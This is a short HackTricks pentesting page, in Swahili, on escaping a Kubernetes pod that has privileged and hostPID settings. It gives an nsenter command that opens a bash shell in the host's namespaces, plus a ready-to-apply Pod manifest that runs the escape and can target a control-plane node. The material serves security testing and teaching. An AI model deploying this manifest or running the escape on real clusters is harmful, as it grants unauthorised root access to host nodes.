Pod Escape Privileges

Support HackTricks

Privileged and hostPID

Kwa hizi haki utakuwa na ufikiaji wa michakato ya mwenyeji na haki za kutosha kuingia ndani ya namespace ya moja ya michakato ya mwenyeji. Kumbuka kwamba huenda usihitaji haki za juu lakini tu uwezo fulani na njia nyingine za kupita ulinzi (kama apparmor na/au seccomp).

Kutekeleza kitu kama ifuatavyo kutakuruhusu kutoroka kutoka kwa pod:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Mfano wa usanidi:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
Support HackTricks

Last updated